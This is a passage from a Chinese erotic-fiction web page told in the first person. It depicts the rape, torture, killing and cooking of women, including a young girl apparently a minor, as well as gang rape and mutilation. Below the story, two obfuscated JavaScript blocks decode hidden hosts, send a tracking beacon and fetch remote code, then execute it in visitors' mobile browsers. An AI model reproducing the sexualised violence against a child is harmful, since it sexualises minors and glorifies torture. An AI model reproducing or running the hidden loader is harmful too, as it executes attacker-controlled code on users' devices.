“咳咳咳!你的肉棒查点闷死老师。好了,开始正式的做吧。”

老师调整了一下姿势,她的腰往下一沉,把我的肉棒吞入小。穴当中。为了答谢老师,我也仔细地寻找她阴道内敏感的区域,几次尝试之后,我终于找到了她的G 点,于是我瞄准那里拼命地攻击。

“啊!啊!好舒服!我要死了!”

老师的阴道剧烈地收缩着,炽热的肉壁给我带来巨大的快感,我不由自主地射精了,精液灌满了老师的阴道。

我们躺在床上休息片刻,此时被遗忘在一旁的兰兰说话了。

“我,我想好了,我也要和妈妈一起被宰掉。”

她的脸红红的,就连耳根都被染红了,样子十分可爱。老师用纸巾擦干净我们两个的私处,然后就开始收拾东西。她在门上贴了张纸条,告诉宿舍中的老师,屋子里的东西都送给大家了,之后就带上她的女儿,离开了宿舍。

回到家后,我告诉她们浴室的位置,交给她们灌肠器,两个人就跑到浴室里开始清洗身体,我到厨房里看了一下姐姐帮我准备的材料。

午饭过后,我回到房间,老师母女两人已经脱得光熘熘的,在床上等我了。母亲为了怕女儿破处时太痛,正在用舌头舔她的小。穴,女儿则痴痴地咬着手指,嘴里发出呜呜的声音。看到这幅情景,我也不客气地脱光衣服,爬到床上。

我让兰兰舔我的肉棒,舔过一阵之后,我的肉棒插进了蓝蓝的处女小。穴。破处的疼痛让兰兰哭了出来,她想伸手推我,可她的双手被老师牢牢地抓住,动弹不得。

有一个不成文的规定,宰杀女性时用多残忍的方式都不会受到职责,而做爱时太过粗暴则会被看作没有素质。老师看我抽插的频率并不高,而且每次只插入一半,她对我说:

“反正我们两个晚上就要上餐桌了,你不用考虑兰兰能不能得到快感,就按你喜欢的方式干吧。”

得到老师的许可后,我加大了抽插的频率和深度,兰兰立刻就惨叫起来,另外,她的阴道也收缩得更紧更舒服了。

“兰兰,你要忍耐,马上就结束了。”

老师也不愿意看兰兰受苦,她绕到我的身后,用乳房顶住我的后背,她的双手抚摸我的乳头,舌头舔着我的耳垂,在母女两人的夹击下,我很快就射了,不过我的肉棒依旧站着。

“小京,你打算怎么宰杀我们两个?”

“我想整炖老师,把兰兰穿刺活烤。”

“我没问题,但是兰兰还太小,受不了穿刺活烤这样的痛苦。”

我和老师说话的同时,我的肉棒还在老师的小。穴里进进出出。

“老师不用担心,待会儿我会把她绑得结结实实的,让她再痛苦也无法挣扎。”

老师敲了一下我的头。

“好痛。”

“你有点同情心好吗?我们母女俩刚才对你那么顺从,最后你就让兰兰少受点苦吧,我求你了。”

原来刚才老是那么迁就我,是为了让我能手下留情,既然老师开口求我了,我也就不再折磨兰兰了。我抽出肉棒,平躺下来。

“兰兰,过来,含住我的肉棒,看我的肉棒怎么把你闷死。”

兰兰知道自己要躲过一劫,也很高兴,她努力地用她的嘴含住我的肉棒,而老师则在旁边指导她。

“喉咙放松,把肉棒吞到喉咙里,把自己的喉咙堵死。对。不要用牙齿,小心伤到肉棒。”

在老师的指导下,兰兰已经把我的整条肉棒吞进去了,兰兰幼嫩的喉咙摩擦着我的肉棒,给我的肉棒带来无限的快感。我的手指在她的鼻翼下试了试,我的肉棒堵塞了气管,兰兰已经无法唿吸了。

老师趴在我的身上,用她的小腹压住兰兰的头,让她无法乱动,老师和我接吻的同时,让我用手玩弄她的乳房,借此保持我的肉棒的硬度。不过我的肉棒也不能这样一直硬下去,在她喉咙的摩擦下,我的精液射进了她的食道。

我拔出肉棒之后,发现兰兰已经停止了唿吸了,此时老师却显得很高兴。

“其实女孩放过血之后,味道更好,可以去掉不少腥味。”

“我也知道,不过活烤女孩更有意思。”

“唉。你们这些男人呐,就喜欢虐杀我们女人取乐。”

“嘿嘿,你们女人不是也喜欢被男人虐杀,来讨好男人吗?走,咱们去厨房吧。”

到了厨房,我又简单地给老师冲洗了一下,然后烧了一大锅水,准备给她开膛。虽然我没有宰杀过女人,但是经常见爸爸做这个,久而久之,对这些步骤也比较熟悉了。

此时的老师表现出了淑女的气质,在我给她开膛、清理内脏时,她只是皱皱眉头,微笑着看我操作,一点挣扎的意思都没有。

等到内藏清理结束了,水也烧开了,我抱着老师,把她送进锅里,老师雪白的皮肤立刻被开水烫出了许多的水泡,等到老师半熟了之后,就把她捞出来,因为我的动作很快,此时老师还是活着的。

“兰兰?”

老师突然大叫一声,我回头一看,老师的女儿正站在厨房的门口。

“你怎么活过来了?”

“我也不知道呀,我也以为自己会被闷死,但是没死成。醒过来发现屋子里没人,我就到厨房来了。”

“老师,看来你女儿是命中注定要被活烤的。”

“妈妈,你不要紧吧?”

兰兰看着被开膛破肚、满身是泡的老师,心疼得不知道该说什么好。

“没关系,忍耐这些痛苦,是我们女人的责任,待会儿你在烤架上也要努力呀。”

“妈妈,我会努力的。”

接着我用酱料把老师从内到外刷了一遍,放在一旁腌制一段时间。虽然沸水把老师的肌肤都煮的半熟了,但是她的心肺并没有受到多大损伤,在肉屑侵入血液之前,老师还能活很久呢。利用腌制的时间,我要开始处理兰兰了。

同样是剖腹、清理内脏、用水冲洗,因为之前在她的小学和喉咙里射过两次,所以要着重清洗。我把水管塞进她的小。穴,凉水从她的半截阴道流出,再将血水从腹部的缺口处冲出来,接着再将水管插进她的嘴巴里,呛得兰兰一阵咳嗽。

“真是个乖孩子,从刚才到现在,都没听见你喊痛。”

兰兰趴到我的耳边。

“要是我喊痛的话,妈妈会心疼的。”

我最喜欢吃这种心地善良的女孩了,我觉得,女孩的心越温柔,她的肉也就越鲜美。我用穿刺杆从她的屁。眼捅进去,穿刺杆的尖头找到食道之后,再将它从嘴里穿出来。

穿刺杆继续进入,直到侧面的固定杆钻进她的小。穴。把她的双手绑在背后,双脚固定在穿刺杆的根部。我在她的腹腔内装上铁架,把她的腹部撑开,两肘和两膝之间各装一根铁管,撑开其身体,以便受热均匀。

我把沸水浇在她的身上,冲洗掉因为疼痛而流出的汗,同时也让她的皮肤变紧,我又用沸水冲洗了一下她的腹腔,冲掉血污。

“呜呜呜呜。”

沸水的高温让她全身颤抖,但她的嘴巴被穿刺杆填满,喊不出声音,她只能用她的表情告诉我们,她有多痛苦了。我把她架在烤架上,开启电源,三面的电热丝为其均匀的加热,穿刺杆也匀速地旋转着,我只需要不停地为她刷酱汁就可以了。

“小京,兰兰还好吧?”

“我用的是小火,兰兰一个小时内死不了。”

在这一个小时的时间内,兰兰一直痛苦地扭动身体,她的牙齿把穿刺杆咬得支支作响,而她的这些痛苦,都转化成了我的快感。之后,她的挣扎越发无力,最终停止了动作。

“老师,你的女儿真不错。”

“她现在怎么样?”

“死掉了。”

我一边冲洗老师的身体一边回话,这时锅里熬的汤已经烧开了,我抱起老师,她的双臂也自然地搭在我的肩膀上,我就这样把老师抱到汤锅里。此时的她,已经没有力气反抗了,她安静地让汤汁把她煮熟。很快,她仅剩的一点血液也流逝在汤锅里。

最先装盘的是兰兰,我和大姐把她从烤架上卸下来,装在大托盘里,端进大厅。四十平米的大厅已经装了二十多人了,大部分都是父母的朋友,也有我的学校的老师、同学。

“小京,你李阿姨的火腿好吃吗?”

“味道鲜极了!李叔叔。”

“呵呵,这可是我家祖传的手艺!不好吃才怪。”

“小京哥哥,小京哥哥。”

“小叶小蝶。”

卫叶、卫蝶是卫叔叔的两个女儿。

“咱们关系这么好,我还以为你第一次宰女人,会宰我们两个呢。”

“呵呵,我想等我的技术练好了,再来处理你们两个。”

校长也凑过来。

“陈京,别忘了,你的两个姐姐现在是我的了。”

“不会忘的,还有,您宰我姐姐的时候,要给我留一块肉。”

“呵呵,到时候我会叫上你的。”

在场还有其他的老师,她们围拢到兰兰周围,老师们都认识她,不过她们没想到,兰兰会成为今天的烤肉。她深红色的身体散发着浓郁的香气,惹得男宾客们垂涎欲滴。

在兰兰被切开之前,我们把老师也端了上来,和兰兰并排摆放。老师被放在一个托盘里,炖出的汤单独盛在旁边的一个盆里。老师的身体被煮得白里透红,基本保持着她生前的样子。

两道菜都端上来了,客人们开始进餐,口味重的去吃兰兰,口味轻的去吃老师,更多的人则是两个各来一份。宴席散去,我把两个姐姐叫到我的房间里,之后则是一夜缠绵,因为到了明天,两个姐姐就成了别人的东西了。。

1 月31日

今天一大早,校长就开着车来接两个姐姐了。

“陈京,昨天的聚会还真热闹呀。”

“呵呵,多亏了校长的协助。这是我的两个姐姐,您带走吧。”

“我看你也一起来吧,看看你姐姐的表演。”

就这样,我和校长来到一家私人会所。会所从外观到内饰,都显得富丽堂皇。

“我姐姐呢?”

“别着急,你马上就能见到了。”

校长把我带进一个大厅,大厅里有十多张“桌子”,每张桌子都是由三个跪在地上的裸女和一块圆形玻璃桌面组成的。两个坐在桌子旁边的秃顶男人朝我们招手,校长就带着我到桌子旁边。

我们刚刚靠近,旁边就冲过来两个裸女,她们蜷缩在地上,校长则很自然地把她当作凳子,坐在她的身上,我也学着他的样子坐下,接着,又有两个裸女跪在我和校长的身后,充当椅子靠背,她们双手平伸,权当是椅子扶手了。

“容我介绍一下,这位是市文化局秦局长。这位是瓜瓜集团总裁谷总裁。”

两个秃顶男子朝我微微点头。

“这位是我的学生,陈京。”

我则站起来微微鞠躬。

“陈京啊,这个会所和其他的会所不一样,这里只宰杀烹饪年龄在19岁到22岁之间、有才艺的女大学生。这里的正式会员,每个月至少要带一个大学生来,否则会被取消会员资格。你要知道,这年头虽然女人多,但是肯上大学的少,上了大学又肯学一些才艺的就更少了。”

校长正在介绍这个会所的时候,一个女主持人走到台上。

“各位尊贵的来宾,今天要为大家表演的是两位来自西森大学的女大学生,今年21岁的陈芳雯,20岁的陈芳舞,两位要表演的是杂技。”

两个姐姐在观众的掌声中登台了,她们身穿的紧身衣,将她们的曲线毫无保留地展现出来。姐姐向观众深深鞠躬,音乐响起,表演正式开始。大姐仰面躺在舞台上,双腿弯曲,二姐双手握住大姐的双脚,二姐轻轻向上一跳,倒立在大姐的脚心上。

二级放开一只手,她单手倒立在大姐的脚掌上,同时腰部向后弯,弯到自己的小腿碰触到头顶的程度。大姐双腿用力,把二姐蹬到空中,然后二姐的双脚稳稳落在大姐的脚掌上。

接着二姐又在大姐的帮助做了一个空翻,然后是第二个、第三个,二姐在大姐的脚掌上做着一个接一个的空翻。二姐在空中翻转450 度之后,她的腰稳稳地停在大姐的脚掌上,接着,二姐像球一样在大姐的脚上旋转着。

二姐站在舞台上,腰向后弯曲180 度,双手撑地。大姐则单手在二姐的小腹上倒立,接着是一连串的高难度动作。

姐姐从年幼时就非常注意自己身体的柔韧性,初中高中时,他们又迷上了很小众的杂技,她们之前经常表演给我看。没想到,今天会在这种场合展示给大家。

表演在观众的掌声中结束了,接着是两个姐姐为观众服务的时间了。会场中的“桌子”、“椅子”们都站起身来,为大厅腾出空间。姐姐的紧身衣被在场的男人扒掉,男人们也脱光衣服,三十多个男人围拢在两个姐姐的身边,他们轮流侵犯着姐姐的小。穴、屁。眼、喉咙。

男人们见识了姐姐的柔韧度,因此毫无顾忌地把姐姐折叠成各种姿势,奸淫她们。两个姐姐也被干得爽得不行,高潮接连不断。我和姐姐一起生活了这么久,今天却是第一次看见她们这么淫。荡的一面。

“她们在上台之前,小。穴里已经被抹了大量的春。药,你的姐姐能在这种刺激下,没有失误地完成表演,已经非常厉害了。”

之后他们又在大姐的乳头和阴蒂里注射了不知名的药物,大姐的高潮频率,一下子变成了每分钟一次,我看到校长他们似乎也吃了什么药,他们现在是金枪不倒,一连干了两个小时,期间他们还用拳头捅姐姐的小。穴、屁。眼。

后来大姐的四肢被斧子砍了下来,厨师用瓦斯喷枪把伤口烧结之后,男人们继续奸淫失去四肢的大姐。大姐的四肢被剁掉手脚、去掉骨头和表皮,切成薄片,洗干净血水之后,放在调料里腌制。

半个小时后,厨师把被干得不省人事的大姐抬到案板上,此时她的小。穴和屁。眼已经被肉棒和拳头干得松松的了。厨师扒开大姐的小。穴,把刀伸进去,从里面切碎姐姐的内脏,然后掏出来。

“啊,啊,啊,啊啊啊啊!”

因为春。药的关系,在这个过程中,姐姐还在不断地高潮。内脏清理干净之后,扒开小。穴的厨师双手一松,大姐的小。穴又恢复原状了,从外面看,根本不会注意到,她的腹腔已经被掏空了,至多觉得她比较苗条而已。

厨师在姐姐腹腔的内壁上抹上一层面煳,再将滚烫的热油灌进她的阴道,这样姐姐的血压就不会再往下降了。厨师将腌制好的肉片和一些蔬菜,通过小。穴塞进她的腹腔内。四肢上的肉,再加上蔬菜,把姐姐的肚子塞得慢慢的,看上去就像一个孕妇。

接着厨师把一根半米长的管子插在小。穴里,管子向腹腔内部灌进高温的水蒸气,蒸汽慢慢将肉片蒸熟,残留的蒸汽从姐姐的嘴里和屁。眼里不停地冒出来。十五分中后,厨师把管子拔出来,把大姐端上桌。厨师剖开姐姐的肚子,肉片的香味顿时飘散出来,肉片和花花绿绿的蔬菜也格外的鲜艳。

之前姐姐的肚子是蒸肉用的蒸笼,剖开后又变成了盛肉的容器。因为整个烹调时间很短,姐姐现在还是活着的,她可以亲眼看到人们从她的腹腔内去走肉片,这群男人偶尔也会骚扰一下她的乳头。

宴会在优雅的钢琴声中结束了,大姐坚强地撑到宴会结束后才死掉。就像大部分高级宴会一样,这个宴会从头到尾,都有音乐伴奏,而这些乐曲都是我的二姐演奏的。他们没有给二姐注射给大姐使用的那种药物,当宴会快开始的时候,二姐就洗干净身体,换上礼服,坐在钢琴边,一首接一首地弹奏起来。

宴会结束后,二姐的工作并没有停止,她先是弹了几首曲子,接着就在客人的要求下,脱掉礼服,以全裸的姿态继续拉小提琴。

宴会结束后,有一些客人离开了会所,另一些留下来,想继续玩弄二姐,还有一些客人新加入进来,下午的人数增加到了四十多人。才艺展示结束后,二姐的命运就和大姐相同了,药物注射进她的乳头和阴蒂,接受四十多个男人的轮奸。

上午,二姐已经被轮奸了两个小时了,中午她不停地为客人演奏乐器,下午在药物的作用下,又被轮奸了两个小时。起初姐姐还在不停地高潮,在她高潮了一百多次之后昏了过去,之后又被凉水浇醒,又被干得昏倒,再被电击电醒,再次昏倒。

三个小时后,姐姐被干得半死不活了,他们玩腻了这样的姐姐,就砍掉姐姐的脑袋,开始奸尸,姐姐的尸体又被奸淫一个小时。

客人们玩累了,厨师就将姐姐开膛破肚,姐姐的心脏、肺脏、肝脏,姐姐的所有内脏都被一一挖出来,做成了菜,她们连两个姐姐的大脑都没有放过。厨师用各种调料将姐姐的身体腌制起来,等到明晚在吃。在场的客人今晚只品尝吃用姐姐的内脏烹制的菜肴了。

“给,这是说好了的。”

在我离开会所之前,校长塞给我一落《教师屠宰许可证》,上面有学校的公章,教师姓名一栏是空着的。

“以后你想吃哪个老师,在上面填上名字就可以了。”

“多谢校长。”

回到家里,回想起姐姐被轮奸的样子,我的心在隐隐作痛。真后悔,昨天我真该把姐姐宰掉。。

2 月1 日

“儿子,你去弄个年轻点的老师回来吧。”

因为我拿到空白的《教师屠宰许可证》的事情被爸爸知道了,他今天就给屠宰证派上了用场。

“你的两个姐姐被宰掉之后,我还挺想她们俩的,少了她们真是不适应呀,你先去给我找个年轻点的老师。”

最近几年,爸爸都不和妈妈做了,他只和两个姐姐做,现在看来,就算姐姐被宰掉了,他也没有和妈妈做的兴趣。话说回来,放假了还要老往学校跑,还真是让人高兴不起来呢。

既然爸爸喜欢年轻的,我就把音乐老师带给他吧。我们学校的音乐老师,今年24岁,来学校刚刚半年,传说她喜欢年纪大的,看来她是送给爸爸的合适人选。来到教师宿舍,敲开老师的房门。

“小京,进来坐。”

老师长着一张娃娃脸,再加上光滑的皮肤,她更像是学校里的学生。

“老师你好,我想请老师帮个小忙。”

我把许可证递给老师。

“老师有没有兴趣让我吃掉?”

把事情说明之后,老师对我开出条件。

“我的条件只有两条,第一,我要你们父子两个一起干我。第二,我不给别人当情人,今天晚餐之前,你们必须把我宰掉。”

这是个很奇怪的世界,女人被男人干、被男人宰杀,都被看成是合理的事情,父亲和女儿乱搞、母亲和儿子乱搞、兄妹之间乱搞,也会被别人接受。而一个女人和一个有妇之夫长期同居,则被看作是破坏他人家庭,备受指责。

如果老师只陪爸爸睡觉,没有被宰,就会被人说闲话。虽然不明白为什么这样,既然老师怕这些闲话,我也就不为难她了。

“没问题,在这儿签字吧。”

老师同样在门上贴了张字条,就跟我回家了。

“爸爸,这是我们的音乐老师,她已经同意给我们吃了。”

我向爸爸介绍我们的音乐老师,但是爸爸并没有把她当老师看待,或者说并没有把她当人看待。爸爸像拆食品包装一样,脱掉老师的衣服。

“嗯嗯,真不错,年轻、漂亮、身材好、皮肤好。”

爸爸毫无顾忌地捏着老师肚皮、胳膊上的肉,老师被弄得嗷嗷直叫。

“肉质也不错。儿子,干得好!都到我的房间来吧,宰掉之前,先让咱们好好玩玩。”

爸爸对这个老师非常满意,然后就招唿我和老师,回自己的房间。他把老师扔到床上,然后他的整个身体压在老师身上,亲老师的嘴巴,脱她最后剩下的几件衣服,老师很快就被脱光了。

“我还是第一次被男人亲呢。”

“呵呵,你们这些女人,让男人亲一口就变得服服帖帖的了。快过去伺候我儿子。”

爸爸把她推到我的怀里,自己开始脱衣服,老师也听话地和我接吻。

“你们父子俩区别真大,你接吻的态度比你爸爸人真多了。”

此时爸爸也把衣服脱光了,他扒开老师的小。穴,用龟。头在上面蹭了几下,然后扑哧一声,插了进去。

“好痛!进来的东西,好大!啊啊啊啊啊啊啊啊啊啊啊嗯!!!”

爸爸的肉棒继续插进老师的身体里。

“老师,很疼吧?你的脸上都出汗了。”

“很痛,真的很痛,毕竟是我的第一次呀。”

接着,爸爸又不管老师死活地使劲抽插起来,老师的惨叫声接连不断。

“既然你都趴下了,你就去吸我儿子的肉棒吧。”

放大文字 缩小文字 这文很赞(1) 一般般啦(0) 收藏此文(0) 分享此文


上一篇:别墅春情

下一篇:同桌的情趣


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};